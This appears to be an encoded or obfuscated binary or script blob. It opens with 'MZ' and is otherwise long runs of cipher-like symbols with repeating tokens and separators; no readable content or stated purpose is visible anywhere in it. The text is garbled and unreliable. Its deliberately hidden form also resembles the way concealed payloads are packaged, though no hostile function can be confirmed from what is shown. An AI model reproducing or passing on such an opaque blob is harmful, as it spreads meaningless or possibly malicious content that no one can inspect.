MZ\K]GB@\Vp_@\K%%pM_V^_BMDCFKHDpHKoUVBD\JJ@K[MMGCVDKC_KACpHK[]ZJAZCC%FIMMGCVDKC_KACpM_V^_BMDCFKHDT%%%pHBBWGHWGE[X@pM_V^_BMDCFKHDULYZDYV\]MK\LC]@LZXULYZDYV\
%FIMMGCVDKC_KACFXpY^U_NV^MUHT%Z_KN[Jp@_[F@AUVBD\JJ@K[EBEL_KHI%R%%%%M]JND%%R%%%%R%%R%FIMMGCVDKC_KACpHBBWGHWGE[X@T%M]JND%R%R%R%FIFH]MK@AMIL\pHBBWGHWGE[X@T%]J[Z]A%R%FI@X_LAX]AEKAW		FH]MK@AMIL\MMGCVDKC_KACT%KJCJ[Jp@_[F@AJYJ_HVXp\NW@ZZ@FXpY^U_NV^MUH%R%FIF\\J[hc`mnc|tUVBD\JJ@K[rSSFH]MK@AMIL\hc`mnc|tUVBD\JJ@K[rhc`mnc|tMMGCVDKC_KACrN]]NV%%%%hc`mnc|tUVBD\JJ@K[rFH]MK@AMIL\FH]MK@AMIL\hc`mnc|tUVBD\JJ@K[r@X_LAX]AEKAW%FIF\\J[pHBBWGHWGE[X@tMMGCVDKC_KACr		UVBD\JJ@K[pHBBWGHWGE[X@tMMGCVDKC_KACrT%BDNVVG_VYE_VGZpHBBWGHWGE[X@tFXpY^U_NV^MUHrF\\J[pHBBWGHWGE[X@tFH]MK@AMIL\r		MMGCVDKC_KACpHBBWGHWGE[X@tMMGCVDKC_KACrpHBBWGHWGE[X@tUVBD\JJ@K[rJB_[VpHBBWGHWGE[X@tFH]MK@AMIL\r%R%%GM@\WGMINC\J%%IFXG@pB]BVMN]]NV%%%FIF\\J[pHBBWGHWGE[X@tFH]MK@AMIL\r		UVBD\JJ@K[pHBBWGHWGE[X@tFH]MK@AMIL\rT%FH_GIDNJN]]NV%%I@]JNLGpHBBWGHWGE[X@tMMGCVDKC_KACrN\_EI@L@EIZT%FIFXpY^U_NV^MUH_EI@L@EIZ		_EI@L@EIZT%FH_GIDNJtr_EI@L@EIZ%R% KFNHA@\[FLKN[NIC@XH]N_G %%R%YA^DJXYNMhc`mnc|tUVBD\JJ@K[r%FH_GIDNJUKKKUIBIUKFVHVFH_GIDNJ%%%%hc`mnc|tFH]MK@AMIL\rFH_GIDNJ%IFXG@pB]BVMtUVBD\JJ@K[rFH_GIDNJ%FIJB_[VUVBD\JJ@K[FH_GIDNJYA^DJXYNMSSJB_[VFXpY^U_NV^MUHYA^DJXYNMFH_GIDNJT%GM@\WGM[]ZJ%R%%R%%FIF\\J[pHBBWGHWGE[X@tUVBD\JJ@K[r		FH]MK@AMIL\pHBBWGHWGE[X@tMMGCVDKC_KACrT%FH_GIDNJN]]NV%%I@]JNLGpHBBWGHWGE[X@tFXpY^U_NV^MUHrN\_EI@L@EIZT%FIFH]MK@AMIL\_EI@L@EIZ		_EI@L@EIZT%FH_GIDNJtr_EI@L@EIZ%R%R%YA^DJXYNMhc`mnc|tUVBD\JJ@K[r%%%%FH_GIDNJUKKKUIBIUKFVHVFH_GIDNJ%%%hc`mnc|tFH]MK@AMIL\rFH_GIDNJ%IFXG@pB]BVMtFXpY^U_NV^MUHrFH_GIDNJ%FIJB_[VUVBD\JJ@K[FH_GIDNJYA^DJXYNMSSJB_[VFH]MK@AMIL\YA^DJXYNMFH_GIDNJT%%%GM@\WGM[]ZJ%R%R%  BM\[]FAH\[]FL[NM@][J^ZFYNCJALJLCN\\%%FIF\\J[pHBBWGHWGE[X@tFXpY^U_NV^MUHr		FXpY^U_NV^MUHpHBBWGHWGE[X@tFH]MK@AMIL\rT%LHFCH\D@XL@KWNGU_GUAFpFXpY^U_NV^MUH%hc`mnc|tMMGCVDKC_KACrpHBBWGHWGE[X@tUVBD\JJ@K[r%IFXG@pB]BVMtMMGCVDKC_KACrpHBBWGHWGE[X@tFXpY^U_NV^MUHr%FIFXpY^U_NV^MUHpHBBWGHWGE[X@tUVBD\JJ@K[rFH]MK@AMIL\LHFCH\D@XLT%  GJ]BF[FNAYF\F[@]%%EUpCCUU[VUN]KXADBYFXpY^U_NV^MUHpHBBWGHWGE[X@tMMGCVDKC_KACrFXpY^U_NV^MUH%]EKG^Y^_ZFD]ZDHZ%R%ZA\J[LHFCH\D@XL%%%R%KZYBBKAF\\J[pHBBWGHWGE[X@tFXpY^U_NV^MUHr		MMGCVDKC_KACpHBBWGHWGE[X@tFXpY^U_NV^MUHrpHBBWGHWGE[X@tUVBD\JJ@K[rN]]NV%%%FIF\\J[KZYBBKAtUVBD\JJ@K[r		MMGCVDKC_KACKZYBBKAtMMGCVDKC_KACrT%FIFXpY^U_NV^MUHKZYBBKAtUVBD\JJ@K[rWWIT%%%%hc`mnc|tFXpY^U_NV^MUHrKZYBBKAtUVBD\JJ@K[r%IFXG@pB]BVMtMMGCVDKC_KACrKZYBBKAtMMGCVDKC_KACr%RJC\JT%%%hc`mnc|tUVBD\JJ@K[r%IFXG@pB]BVMtFXpY^U_NV^MUHr%EUpCCUU[VUN]KXADBYUVBD\JJ@K[FH]MK@AMIL\%%%R%R%FIF\\J[KZYBBKAtUVBD\JJ@K[r		MMGCVDKC_KACKZYBBKAtMMGCVDKC_KACrT%FIMMGCVDKC_KACKZYBBKAtMMGCVDKC_KACrT%hc`mnc|tFH]MK@AMIL\rKZYBBKAtFH]MK@AMIL\r%IFXG@pB]BVMtFXpY^U_NV^MUHrKZYBBKAtMMGCVDKC_KACr%RJC\JT%hc`mnc|tMMGCVDKC_KACr%IFXG@pB]BVMtUVBD\JJ@K[r%EUpCCUU[VUN]KXADBYMMGCVDKC_KACMMGCVDKC_KAC%%R%R%YJZBNABUHpF\\J[pHBBWGHWGE[X@tFXpY^U_NV^MUHr		FXpY^U_NV^MUHpHBBWGHWGE[X@tFH]MK@AMIL\rpHBBWGHWGE[X@tFH]MK@AMIL\rN]]NV%Y[\GM^NMVLLN]]NV%UVBD\JJ@K[MMGCVDKC_KAC%MMGCVDKC_KACFH]MK@AMIL\%%FXpY^U_NV^MUHMMGCVDKC_KAC%FH]MK@AMIL\MMGCVDKC_KAC%FH]MK@AMIL\FXpY^U_NV^MUH%FXpY^U_NV^MUHUVBD\JJ@K[%MMGCVDKC_KACFH]MK@AMIL\%%%MMGCVDKC_KACMMGCVDKC_KAC%%I@]JNLGY[\GM^NMVLLN\YENFpM]IY^C@[^B[JET%FIF\\J[YJZBNABUHptYENFpM]Ir		FH]MK@AMIL\YJZBNABUHptYENFpM]Ir		MMGCVDKC_KACYJZBNABUHptYENFpM]IrqT%IFXG@pB]BVMtY^C@[^B[JErYJZBNABUHptYENFpM]Ir%R%R%FIF\\J[pHBBWGHWGE[X@tMMGCVDKC_KACr		MMGCVDKC_KACpHBBWGHWGE[X@tUVBD\JJ@K[rT%%YKGCFZYZCLFA[pHBBWGHWGE[X@tFH]MK@AMIL\r%FIYKGCFZYZCL		YKGCFZYZCLWIIWIFXG@pB]BVMtFH]MK@AMIL\rYKGCFZYZCL%R%FIF\\J[pHBBWGHWGE[X@tFXpY^U_NV^MUHr		UVBD\JJ@K[pHBBWGHWGE[X@tFXpY^U_NV^MUHrT%pLFFA[pHBBWGHWGE[X@tFH]MK@AMIL\r%FIpLF		pLFIFXG@pB]BVMtMMGCVDKC_KACrpLF%R%FIJB_[VIFXG@pB]BVMT%KJCJ[Jp@_[F@AFH]MK@AMIL\%KJCJ[Jp@_[F@AFXpY^U_NV^MUH%Z_KN[Jp@_[F@AFXpY^U_NV^MUHFH]MK@AMIL\%KJCJ[Jp[]NA\FJA[MMGCVDKC_KAC%%%UCHB_KLZXXEUN@D[pXKN[DKFVIKpXKN[DKF%%%%CDIYMLFH^LLL\%]J[Z]A%R%%%%%Z]@YZKGXG[NGF\IApYK^]NDYWZFXpY^U_NV^MUHINC\J%%%FIUVBD\JJ@K[Z]@YZKGXG[T%IFXG@pB]BVMMMGCVDKC_KACZ]@YZKGXG[IFXG@pB]BVMYGBBL@XCgpfa{pbnw gpfa{pbnwKAV^@UIE_YGBBL@XC%R%%FIFXpY^U_NV^MUHFH]MK@AMIL\T%]B^W^YAFKEUUDGJW@^DFAFX^%%%FIF\\J[IFXG@pB]BVMtFXpY^U_NV^MUHr		FA[IFXG@pB]BVMtMMGCVDKC_KACr		FA[IFXG@pB]BVMtUVBD\JJ@K[r]B^W^YAFKEUUDFA[IFXG@pB]BVMtFH]MK@AMIL\r%%\J[p[]NA\FJA[N\\]pHFUFD\^IFXG@pB]BVM]B^W^YAFKEUUD%R%%XWD[GNIFXpY^U_NV^MUHIFXG@pB]BVMMMGCVDKC_KAC%%%FIF\\J[IFXG@pB]BVMtFH]MK@AMIL\r		FH]MK@AMIL\FH]MK@AMIL\		FH]MK@AMIL\MMGCVDKC_KAC		FH]MK@AMIL\FXpY^U_NV^MUHT%EN^KY]LDXYGW^GBX_pHJ[p\LGJKZCJKpJYJA[UAXBU^X]YJ%FIEN^KY]LDXYGW^GB		FA[EN^KY]LDXYGW^GBFA[J]YNCFA[IFXG@pB]BVMtMMGCVDKC_KACrT%%X_pLCJN]p\LGJKZCJKpG@@DUAXBU^X]YJ%X_p\LGJKZCJpJYJA[FXpY^U_NV^MUHUVBD\JJ@K[qMMGCVDKC_KACUAXBU^X]YJ%R%R%Z_KN[Jp@_[F@AFXpY^U_NV^MUHMMGCVDKC_KAC%KJCJ[Jp@_[F@AFH]MK@AMIL\%KJCJ[Jp@_[F@AFXpY^U_NV^MUH%KJCJ[Jp[]NA\FJA[UVBD\JJ@K[%UCHB_KLZXXEUN@D[%CDIYMLFH^LLL\%%%%%FIGM@\WGMT%_]EVELEZYUY]UNEIp%R%RLN[LG{G]@XNMCJC[A_M[pT%  KJNCC@LN[JL@YN]FNA[I@]x}j|{nfY%%@DWMpK]LDZ\KNVCZMMGCVDKC_KACC[A_M[p%RLN[LGjWLJ_[F@AC[A_M[pT%RIFANCCVT%H\GBN@MFVL]MMGCVDKC_KAC%R%R%%%%%%IZAL[F@ABDNVVG_VYE_VGZNJp\NK_M]FFGUZUZDEAVUN]]B^WINC\J%T%FILBFEWKCIBAXFH]MK@AMIL\]J[Z]A%[]VT%%HAGDMWH^[oUVBD\JJ@K[NJp\NK_M[]ZJ%FIFXpY^U_NV^MUHHAGDMWH^[		MMGCVDKC_KACHAGDMWH^[WWJHAGDMWH^[EXpF\FZFGEDEJHAGDMWH^[%FIHAGDMWH^[SSFH]MK@AMIL\HAGDMWH^[SSMMGCVDKC_KACHAGDMWH^[MMGCVDKC_KACT%]J[Z]A%R%FIYUKA]KF^LpMLUMZHAGDMWH^[T%@DWMpK]LDZ\KNVCZUVBD\JJ@K[FH]MK@AMIL\%]J[Z]A%R%FIFXpY^U_NV^MUHUVBD\JJ@K[MMGCVDKC_KACHAGDMWH^[__IILV\@UXT%FI]FFGUZUZDEA		]FFGUZUZDEA__IILV\@UXtrT%@DWMpK]LDZ\KNVCZFH]MK@AMIL\FH]MK@AMIL\[VZIDV_WU@LBC]H\UVCC[VZIDV_WU@
%]J[Z]A%R%]FFGUZUZDEA__IILV\@UXtr%%%RJC\JT%@DWMpK]LDZ\KNVCZMMGCVDKC_KACFXpY^U_NV^MUH%]J[Z]A%R%%%FIVUN]]B^W		YJ]\F@ApL@B_N]J]FFGUZUZDEAXHMDNU[UXH@NANXI[T%]J[Z]A%R%%%AZLFAWN^\CKJUWWVAWYF]BX%%FIAZLFAWN^\CKSSMMGCVDKC_KACAZLFAWN^\CKT%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[%]J[Z]A%%%R%p\BXCZ^Z\ZC^HJ[p@_[F@AMMGCVDKC_KAC%FIMMGCVDKC_KACp\BXCZ^Z\ZC^		UVBD\JJ@K[p\BXCZ^Z\ZC^FXpY^U_NV^MUHHAGDMWH^[ST%N[]LCME\AFA[FXpY^U_NV^MUHp\BXCZ^Z\ZC^UVBD\JJ@K[p\BXCZ^Z\ZC^S%FIFXpY^U_NV^MUHN[]LCME\AT%%]J[Z]A%R%R%K^MWMM\FHZFH]MK@AMIL\]\MJUBYMMGCVDKC_KACFXpY^U_NV^MUHHAGDMWH^[%FIoMMGCVDKC_KACK^MWMM\FHZT%VpFY\FVXoFA[MMGCVDKC_KACK^MWMM\FHZ%FIVpFY\FVX		MMGCVDKC_KACVpFY\FVXT%]J[Z]A%R%%oFH]MK@AMIL\K^MWMM\FHZ%R%ZA\J[K^MWMM\FHZVpFY\FVX%M@NEZ@BG]Y^INC\J%FIFXpY^U_NV^MUHFXpY^U_NV^MUH		FH]MK@AMIL\MMGCVDKC_KACT%VJW^VI][XY[DUVBD\JJ@K[G@BJpZ]C N]]NVFXpY^U_NV^MUHMMGCVDKC_KACMMGCVDKC_KACINC\J%FIMMGCVDKC_KACFXpY^U_NV^MUH		F\pX_pJ]]@]VJW^VI][XY[DT%M@NEZ@BG]Y^FA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJVJW^VI][XY[D%R%  oNXNF[]J\@CYJ]%%%R%  L@B_FCJL@B_@\F[JI@]}JL[@]NZ[@]JINL[@]%%NHZWGABBINC\JCZ]^@^C\gpbne`}pyj}|f`aC^WAB]ACZ]^@^C\%FIFH]MK@AMIL\FH]MK@AMIL\T%  oKJNL[FYN[J[ZBMCFAHXFAK@X%%FVU]HA\KEBHJ[p@_[F@AMMGCVDKC_KACN]]NV%%%%NHZWGABBFH]MK@AMIL\FVU]HA\KEB		MMGCVDKC_KAC^XG]UMIUN]FVU]HA\KEB[]ZJ%R%^^[J]pC_EXZI\U\YFLJ]\MJUBY%FI\M^IMUZLAAY\WEFW_]\MJUBY[IB^@@IDZVNJD@AXHAGDMWH^[T%@DWMpK]LDZ\KNVCZFH]MK@AMIL\UVBD\JJ@K[%]J[Z]A%R%CNIDVG[IGpN]\MJUBY%AMAAWC@IZWDWACV]\MJUBY%FIMMGCVDKC_KACFXpY^U_NV^MUHo\J[p[]NA\FJA[FH]MK@AMIL\\I]_G^@_LVFUAUU_ULDCA_]\I]_G^@_LVF\I]_G^@_LVF\I]_G^@_LVF%FIM@NEZ@BG]Y^		FXpY^U_NV^MUHMMGCVDKC_KAC		FXpY^U_NV^MUHFXpY^U_NV^MUHT%[MB[V@ZCL_%I@]KXV]XH^F^KXV]XH^F^KXV]XH^F^T%FK[E]YCXE[AUVUVBD\JJ@K[G@BJpZ]CMMGCVDKC_KACFH]MK@AMIL\N]]NVMMGCVDKC_KACMMGCVDKC_KACFH]MK@AMIL\INC\J%FIUVBD\JJ@K[MMGCVDKC_KAC		F\pX_pJ]]@]FK[E]YCXE[AUVT%FIKXV]XH^F^		FXpY^U_NV^MUHFH]MK@AMIL\UVBD\JJ@K[%L@A[FAZJ%R%NDXEEHCH__HBFA[X_p]JB@[Jp]J[]FJYJp]J\_@A\JpL@KJFK[E]YCXE[AUV%FINDXEEHCH__HBSSMMGCVDKC_KACNDXEEHCH__HBN]]NVWW[]ZJT%%%%FIKXV]XH^F^		FXpY^U_NV^MUHUVBD\JJ@K[FXpY^U_NV^MUH%L@A[FAZJ%R%[MB[V@ZCL_NDXEEHCH__HB%M]JND%R%  xmZ[[@AmC@LDXFKHJ[]JAKJ]%%FI[MB[V@ZCL_[MB[V@ZCL_%FI[MB[V@ZCL_T%Z^I]ZNX]V[\M^IMUZLAAY\WEFW_]\MJUBY[IB^@@IDZVNJD@AXAZLFAWN^\CK%FIZ^I]ZNX]V[Z^I]ZNX]V[\M^IMUZLAAY\WEFW_]\MJUBYAZLFAWN^\CK%Z_KN[Jp@_[F@AFXpY^U_NV^MUHFXpY^U_NV^MUHHAGDMWH^[SUVBD\JJ@K[MMGCVDKC_KAC%FIZ^I]ZNX]V[T%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHUVBD\JJ@K[[MB[V@ZCL_%]J[Z]A%R%AMAAWC@IZWDWACV]\MJUBY%CNIDVG[IGpN]\MJUBY%JUWWVAWYF]BX[]ZJ%%%%W[N]CHE^U[^X\F[[]ZJ%GXZZWUKV^]FH]MK@AMIL\]\MJUBYUVBD\JJ@K[%I@]JNLGN]]NVFH]MK@AMIL\]\MJUBYZpLN@AJ@YYVD\@G[AN\F[^\IL_W[GWT%%oMMGCVDKC_KACF[^\IL_W[GWUVBD\JJ@K[GXZZWUKV^]%oMMGCVDKC_KACF[^\IL_W[GWMMGCVDKC_KACGXZZWUKV^]XpZ_\GZAUCUKEKDL\DFXpZ_\GZAUC%%%R%  YJL[@]FUJ_]J\L]F_[FYJ_]F@]F[V^ZJZJ%%FINHZWGABB		NNVZY]pUNMAUJB		UVBD\JJ@K[FH]MK@AMIL\T%YNKNp@CUXHJ[p@_[F@AMMGCVDKC_KACN]]NV%%%FIFXpY^U_NV^MUHYNKNp@CUX		MMGCVDKC_KAC^XG]UMIUN]YNKNp@CUX[]ZJT%YNKNp@CUXtr^XG]UMIUN]%oZ_KN[Jp@_[F@AUVBD\JJ@K[YNKNp@CUX%R%R%hc`mnc|tUVBD\JJ@K[r%CDIYMLFH^LLL\%@DWMpK]LDZ\KNVCZFXpY^U_NV^MUHFXpY^U_NV^MUH[MB[V@ZCL_%]J[Z]A%%R%R%FI]FFGUZUZDEAT%hc`mnc|tMMGCVDKC_KACr]FFGUZUZDEA%%%%@X\HBNGAXD]\MJUBY]FFGUZUZDEA%R%FIVUN]]B^WT%UZB]UAFYMMGCVDKC_KAC]\MJUBYUVBD\JJ@K[%I@]JNLGN]]NVUVBD\JJ@K[]\MJUBYZpLN@AJ@YYVD\@G[AN\FAB]CK][FIT%oFXpY^U_NV^MUHFAB]CK][FIFH]MK@AMIL\UZB]UAFY%R%ZA\J[UZB]UAFYFAB]CK][FI%R%EUpCCUU[VUN]KXADBYFH]MK@AMIL\HAGDMWH^[FXpY^U_NV^MUH%JUWWVAWYF]BX[]ZJ%W[N]CHE^U[^X\F[[]ZJ%hc`mnc|tFXpY^U_NV^MUHr%CDIYMLFH^LLL\%^^[J]pC_EXZI\U\YFLJ]\MJUBY%FIAMAAWC@IZWDWACV]\MJUBYJECDKL[DC]\MJUBY%Z_KN[Jp@_[F@AFH]MK@AMIL\]FFGUZUZDEASUVBD\JJ@K[MMGCVDKC_KAC%RLN[LG{G]@XNMCJC[A_M[pT%@DWMpK]LDZ\KNVCZUVBD\JJ@K[C[A_M[p%%%%RLN[LGjWLJ_[F@AC[A_M[pT%  KJ\J]FNCFUJYF\F[@]I@]}JL[@]NZ[@]JINL[@]%%RIFANCCVT%H\GBN@MFVL]UVBD\JJ@K[%%R%R%IZAL[F@ALH\ZEV\ACU%T%  []NLJM]FKHJI@]xmC@LDl@A[]@C\%%%%FIKJIFAJKUVBD\JJ@K[SSFH]MK@AMIL\UVBD\JJ@K[T%  \_JLFNCFUJINF[GIZCX]F[JNGJNKC@H%%FIFH]MK@AMIL\nm|n{gUVBD\JJ@K[T%  x@]K]J\\_N[[J]A\\N[F\IFNMCJ\CFKFAHXFAK@X%%]J^ZF]Jp@ALJnm|n{gFH]MK@AMIL\AX]VWJWB]WMMW[^NAJLJ]BL^BAX]VWJWB]
%R%FIFXpY^U_NV^MUHFXpY^U_NV^MUHT%  gFA[J]\JL[F@A]JCNWJKFA[J]_]J[J]%%%%%]J[Z]A%R%  o_]@_NHN[JL@A\[KJNKCJ[[J]%%R%  LCJNAJ]NL[F@A%%^_HNLpHJ[p_CZHFA\%FIMMGCVDKC_KAC^_HNLpT%%]J[Z]A%%R%CF\[N]]NV%I@]JNLG^_HNLpN\MN\JANBJXNGpV[ZV@X\\[T%FIMN\JANBJ^XG]UMIUN]T%L@A[FAZJ%R%CF\[tMN\JANBJrXNGpV[ZV@X\\[%%%R%]J[Z]ACF\[%%%R%IZAL[F@A\_G]M_M\Z_L@CXUWJCN@YKFW@JVE@YJW^%T%  []F_L@ZA[%%%%%YHF[J_G\pWGoMMGCVDKC_KACL@CXUWJCN@INC\JAZCCWNWJ%FIYHF[J_G\pWGT%]J[Z]AINC\J%R%%%I@]JNLGYKFW@JVE@YJW^N\\FJppWpJLT%%FIMMGCVDKC_KAC\FJppWpJLSS\FJppWpJLSSUVBD\JJ@K[\FJppWpJLWNWNT%L@A[FAZJ%%%%R%%%[]VT%%%%YE\BAI_oUVBD\JJ@K[\FJppWpJLYHF[J_G\pWG%RLN[LG{G]@XNMCJ_ZJMZVW^J@HUCIT%@DWMpK]LDZ\KNVCZMMGCVDKC_KAC_ZJMZVW^J@HUCI%L@A[FAZJ%RLN[LGjWLJ_[F@A_ZJMZVW^J@HUCIT%%%L@A[FAZJ%R%%FIYE\BAI_T%]J[Z]A[]ZJ%R%  F\@BJ[]FL_F_JCFAJ%%R%]J[Z]AINC\J%%R%%IZAL[F@A[GEWM_\VK_CZHFApMN\JANBJ%%%T%YKFW@JVE@YJW^hc`mnc|tMMGCVDKC_KACr%FIUVBD\JJ@K[YKFW@JVE@YJW^SSJB_[VYKFW@JVE@YJW^T%%]J[Z]AINC\J%R%FIKJIFAJKFH]MK@AMIL\SSJB_[V_CZHFApMN\JANBJSSUVBD\JJ@K[_CZHFApMN\JANBJUVBD\JJ@K[INC\JT%]J[Z]AINC\J%R%%ACWDELJxpczhfapkf} _CZHFApMN\JANBJ%%%%FIUVBD\JJ@K[_CZHFApMN\JANBJT%WpJFBNJXWJN]]NVACWDELJ%RJC\JT%]_DCDZL\FH]MK@AMIL\ACWDELJ%FIMMGCVDKC_KAC]_DCDZL\SSFH]MK@AMIL\]_DCDZL\T%]J[Z]AINC\J%R%WpJFBNJXWJEWA@p]]HJJJJDWI]_DCDZL\N]]NVFXpY^U_NV^MUHFH]MK@AMIL\UVBD\JJ@K[FXpY^U_NV^MUHFH]MK@AMIL\%R%%%%%I@]JNLGWpJFBNJXWJN\L@CXUWJCN@T%%FIMMGCVDKC_KACL@CXUWJCN@T%%L@A[FAZJ%R%  xmC@LDl@A[]@C\L@YN]FNA[NKE_]@[@[V_J%%FI\_G]M_M\Z_L@CXUWJCN@YKFW@JVE@YJW^T%]J[Z]A[]ZJ%R%  o\_FCCBJKFN[@]%%R%]J[Z]AINC\J%R%IZAL[F@AEWA@p]]HJJJJDWI]_DCDZL\NLGFp@FUZp\C[_J[pZZUIpLG]	K_EJ@HZ\YFAZCC	@[p@ZMHNLAZCC%T%CF\[N]]NV%%FIJ[pZZUIpLG]WWT%%%%]J[Z]ACF\[%R%FIK_EJ@HZ\YFAZCCT%K_EJ@HZ\YFN]]NV%@[p@ZMHNLFXpY^U_NV^MUH[]ZJWW%R%%%%FIUVBD\JJ@K[[]ZJ@[p@ZMHNLT%]J[Z]ACF\[%R%%FIMMGCVDKC_KAC]_DCDZL\T%  N[@BFL]JNK%%]J[Z]ACF\[%R%MBKLM@MUoMMGCVDKC_KAC]_DCDZL\%FIMBKLM@MUINC\JT%FIF\\J[K_EJ@HZ\YFtMBKLM@MUrT%]J[Z]ACF\[%R%K_EJ@HZ\YFtMBKLM@MUr[]ZJ%%%R%%XNKXKUYA^EEpZ\ZGAJG\GN\^DZ]_DCDZL\%FIFH]MK@AMIL\XNKXKUYA^EEpT%]J[Z]ACF\[%%R%I@]JNLGXNKXKUYA^EEpN\UHKNLMA[IVT%FIMMGCVDKC_KAC[]ZJ@[p@ZMHNLSSFH]MK@AMIL\CF\[T%M]JND%R%ACWDELJ]_DCDZL\ UHKNLMA[IV%%%%FIoFH]MK@AMIL\ACWDELJT%L@A[FAZJ%R%%FIoUVBD\JJ@K[ACWDELJT%CF\[UVBD\JJ@K[CF\[EWA@p]]HJJJJDWIACWDELJNLGFp@FUZp\C[_J[pZZUIpLG]K_EJ@HZ\YF@[p@ZMHNL%RJC\JFIoFXpY^U_NV^MUHACWDELJT%VGXWXUAFXpY^U_NV^MUHACWDELJL@A\[NA[UVBD\JJ@K[%VGXWXUAMMGCVDKC_KACVGXWXUAUVBD\JJ@K[VGXWXUA%FIFH]MK@AMIL\VGXWXUANLGFp@FUZp\C[_[]ZJT%CF\[trACWDELJ\[CED^ZECVIC[V\[CED%R%R%R%]J[Z]ACF\[%R%%IZAL[F@ADKJZHB^K][KVAU_CZHFApMN\JANBJ%T%%FIFH]MK@AMIL\_CZHFApMN\JANBJSS_CZHFApMN\JANBJT%%%%]J[Z]AINC\J%R%FIMMGCVDKC_KAC_CZHFApMN\JANBJFH]MK@AMIL\INC\JT%]J[Z]AINC\J%R%%_CZHFApMN\JANBJUVBD\JJ@K[_CZHFApMN\JANBJ%FI_CZHFApMN\JANBJ^XG]UMIUN]T%%%%]J[Z]AINC\J%R%%%%%FIMMGCVDKC_KACUVBD\JJ@K[		MMGCVDKC_KACnm|n{gFH]MK@AMIL\T%]J^ZF]Jp@ALJnm|n{gMMGCVDKC_KAC%R%%FIFXpY^U_NV^MUHUVBD\JJ@K[		F\p_CZHFApNL[FYJ_CZHFApMN\JANBJT%KJNL[FYN[Jp_CZHFA\N]]NV_CZHFApMN\JANBJ[]ZJ%R%%]_DCDZL\KJIFAJKFH]MK@AMIL\xpczhfapkf} MMGCVDKC_KAC_CZHFApMN\JANBJ%%%FI]_DCDZL\		MMGCVDKC_KAC]_DCDZL\		UVBD\JJ@K[_CZHFApMN\JANBJ		FXpY^U_NV^MUH_CZHFApMN\JANBJT%FIZFEZ\KVpYZHEp]_DCDZL\T%]J[Z]A[]ZJ%%%%R%R%%FIFH]MK@AMIL\FH]MK@AMIL\T%%FIFXpY^U_NV^MUHMMGCVDKC_KACSSLZ]]JA[pZ\J]pLNAFXpY^U_NV^MUHT%  _N][F[F@A_]F@]F[V^ZJZJI@]xNHJcF\[%%FIFH]MK@AMIL\FXpY^U_NV^MUH		FH]MK@AMIL\FH]MK@AMIL\T%%Z\J]\HJ[pZ\J]\N]]NVFXpY^U_NV^MUHFH]MK@AMIL\MMGCVDKC_KAC%FIJB_[VZ\J]\		Z\J]\trfkT%FXpY^U_NV^MUHZ\J]\trfk%RJC\JT%%%FH]MK@AMIL\%R%R%R%%BJMXXENJ\^AKJCJ[Jp_CZHFA\N]]NV_CZHFApMN\JANBJ%FIF\pX_pJ]]@]BJMXXENJ\^AT%%%]J[Z]AM@@CBJMXXENJ\^A%R%R%]J[Z]AINC\J%R%%IZAL[F@AZFEZ\KVpYZHEp]_DCDZL\J[pZZUIpLG]%T%FIJ[pZZUIpLG]T_\LC[pJpgpbne`}pyj}|f`a]BBKVCG[X[_\LC[pJp%]J[Z]AINC\J%R%%%FIFXpY^U_NV^MUH]_DCDZL\SS]_DCDZL\SSFXpY^U_NV^MUH]_DCDZL\MMGCVDKC_KACINC\JT%]J[Z]AINC\J%R%%%YEH@H@BB\WoFH]MK@AMIL\]_DCDZL\%FIYEH@H@BB\WINC\JSSFXpY^U_NV^MUHYEH@H@BB\WTA_CNFIDBV\\]X\WA_CNFIDB%]J[Z]AINC\J%R%VDAGEABKK@BKJIFAJKFH]MK@AMIL\oFXpY^U_NV^MUHxpczhfapkf}INC\J%FIVDAGEABKK@BINC\JSSYEH@H@BB\WVDAGEABKK@B		FH]MK@AMIL\YEH@H@BB\WVDAGEABKK@Bkf}jl{`}vp|jn}n{`}T%]J[Z]AINC\JMC^p^IWWMBFGX\EMC^p^I
%R%XEAK@\_]_oFH]MK@AMIL\YEH@H@BB\W%FIMMGCVDKC_KACXEAK@\_]_T%]J[Z]AINC\J%R%I@]JNLGXEAK@\_]_N\GCGI\pIT%%%FIGCGI\pISSGCGI\pIFXpY^U_NV^MUHT%L@A[FAZJ%R%ACWDELJYEH@H@BB\WL@A\[NA[FXpY^U_NV^MUHGCGI\pI%FIoFXpY^U_NV^MUHACWDELJT%FVC]\Z]^LYVJ^AACWDELJ%L@A[FAZJ%R%  JWNL[]J[]V_@CFLV%%%FIoMMGCVDKC_KACACWDELJT%ZFEZ\KVpYZHEpACWDELJJ[pZZUIpLG]%%%%RJC\JTHHFNX^MWMWN_WWMGAFBHHFNX^M
%FIFVC]\Z]^LYVJ^AACWDELJT%^^[J]pC_EXZI\U\YFLJACWDELJWIW%FVC]\Z]^LYVJ^AACWDELJ%R%R%R%FIoUVBD\JJ@K[YEH@H@BB\WT%^^[J]pC_EXZI\U\YFLJYEH@H@BB\W%%oFXpY^U_NV^MUHYEH@H@BB\W%R%  xZ\JjA[F[V}JL@]K\NL^ZF]J]J[]V_@CFLV%%]J[Z]AoMMGCVDKC_KACYEH@H@BB\W%R%%%IZAL[F@A_]EVELEZYUY]UNEIp%T%%[]VT%CF\[LH\ZEV\ACU%FIMMGCVDKC_KACCF\[T%]J[Z]A%R%%%%%FAU\^FECL\_N]]NV%JLpD]KU@KFHDINC\J%I@]JNLGUVBD\JJ@K[CF\[N\MN\JANBJT%  x@]K]J\\L@BBNAK\MN[LG\DF_CF\[%%%FIFH]MK@AMIL\MN\JANBJT%%%%L@A[FAZJ%%%R%%WpCUYCK]IFXpY^U_NV^MUHMN\JANBJ%FIWpCUYCK]IT%WpCUYCK]IMN\JANBJ%R%FIF\\J[FAU\^FECL\_tWpCUYCK]IrT%L@A[FAZJ%R%%FAU\^FECL\_tWpCUYCK]Ir[]ZJ%FI[GEWM_\VKMN\JANBJT%DKJZHB^K][KVAUMN\JANBJ%JLpD]KU@KFHD[]ZJ%R%R%%FIoFXpY^U_NV^MUHZpLN@AJ@YYVD\@G[AT][ULADNVJ_]D\C_G^][ULADN%AXZMNWBZ\ZGAJG\GN\^DZZpLN@AJ@YYVD\@G[A%FIFH]MK@AMIL\AXZMNWBT%YKFW@JVE@YJW^hc`mnc|tFXpY^U_NV^MUHr%%%%I@]JNLGAXZMNWBN\UHKNLMA[IVT%%FIUHKNLMA[IVFD\GHZWZVWFC^LVT%L@A[FAZJ%R%  xfA[J]NL[FYF[VnfN\_JL[]N[F@%%%L@CXUWJCN@ZpLN@AJ@YYVD\@G[A UHKNLM